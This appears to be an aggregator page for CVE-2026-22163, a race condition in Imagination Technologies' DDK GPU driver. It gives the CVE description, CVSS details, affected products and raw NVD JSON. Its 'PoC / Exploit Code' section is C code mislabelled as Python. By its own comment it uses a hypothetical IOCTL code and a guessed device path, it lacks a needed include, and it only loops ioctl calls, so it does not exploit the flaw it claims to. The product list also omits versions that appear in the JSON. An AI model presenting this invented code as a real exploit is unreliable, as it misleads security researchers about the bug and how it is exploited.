Security Vulnerability Report
中文
CVE-2026-22163 CVSS 7.8 HIGH

CVE-2026-22163

Published: 2026-03-20 23:16:43
Last Modified: 2026-04-21 16:53:36
Source: 367425dc-4d06-4041-9650-c2dc6aaa27ce

Description

Requires malware code to misuse the DDK kernel module IOCTL interface. Such code can use the interface in an unsupported way that allows subversion of the GPU to perform writes to arbitrary physical memory pages. The product utilises a shared resource in a concurrent manner but does not attempt to synchronise access to the resource.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:imaginationtech:ddk:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:imaginationtech:ddk:1.17:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:imaginationtech:ddk:1.18:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:imaginationtech:ddk:23.2:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:imaginationtech:ddk:24.1:*:*:*:*:*:*:* - VULNERABLE
Imagination Technologies GPU Driver (具体受影响版本请参考厂商公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> // Vulnerable IOCTL code definition (hypothetical) #define VULN_IOCTL_CODE 0x8000 void* trigger_race(void* arg) { int fd = *(int*)arg; // Malicious IOCTL call to trigger race condition while(1) { ioctl(fd, VULN_IOCTL_CODE, NULL); } return NULL; } int main() { // Open the DDK kernel module device int fd = open("/dev/gpu_ddk_device", O_RDWR); if (fd < 0) { perror("Failed to open device"); return 1; } printf("Exploiting CVE-2026-22163...\n"); // Create threads to exploit concurrent access pthread_t t1, t2; pthread_create(&t1, NULL, trigger_race, &fd); pthread_create(&t2, NULL, trigger_race, &fd); pthread_join(t1, NULL); pthread_join(t2, NULL); close(fd); printf("Exploit finished.\n"); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22163", "sourceIdentifier": "367425dc-4d06-4041-9650-c2dc6aaa27ce", "published": "2026-03-20T23:16:42.640", "lastModified": "2026-04-21T16:53:35.500", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Requires malware code to misuse the DDK kernel module IOCTL interface.\n\nSuch code can use the interface in an unsupported way that allows subversion of the GPU to perform writes to arbitrary physical memory pages.\n\nThe product utilises a shared resource in a concurrent manner but does not attempt to synchronise access to the resource."}, {"lang": "es", "value": "Requiere que el código de malware haga un uso indebido de la interfaz IOCTL del módulo kernel DDK.\n\nDicho código puede usar la interfaz de una manera no soportada que permite la subversión de la GPU para realizar escrituras en páginas de memoria física arbitrarias.\n\nEl producto utiliza un recurso compartido de manera concurrente, pero no intenta sincronizar el acceso al recurso."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.1, "impactScore": 6.0}]}, "weaknesses": [{"source": "367425dc-4d06-4041-9650-c2dc6aaa27ce", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-820"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:imaginationtech:ddk:*:*:*:*:*:*:*:*", "versionStartIncluding": "25.1", "versionEndIncluding": "25.3", "matchCriteriaId": "353FDA3E-D8FC-4482-82E9-E86AD9455FB8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:imaginationtech:ddk:1.17:*:*:*:*:*:*:*", "matchCriteriaId": "1C2A0AE6-35B7-4221-8E49-6CF3AD9B3927"}, {"vulnerable": true, "criteria": "cpe:2.3:a:imaginationtech:ddk:1.18:*:*:*:*:*:*:*", "matchCriteriaId": "822E865A-168C-4F82-95C7-B1752575C175"}, {"vulnerable": true, "criteria": "cpe:2.3:a:imaginationtech:ddk:23.2:*:*:*:*:*:*:*", "matchCriteriaId": "6F512C3D-CF11-492B-8CAB-CF51965F4250"}, {"vulnerable": true, "criteria": "cpe:2.3:a:imaginationtech:ddk:24.1:*:*:*:*:*:*:*", "matchCriteriaId": "8C31AED8-475E-464F-856B-9F5760CEBDF4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:imaginationtech:ddk:24.2:*:*:*:*:*:*:*", "matchCriteriaId": "1C9CC454-864E-46E5-AD29-E81F8290EDEC"}]}]}], "references": [{"url": "https://www.imaginationtech.com/gpu-driver-vulnerabilities/", "source": "367425dc-4d06-4041-9650-c2dc6aaa27ce", "tags": ["Vendor Advisory"]}]}}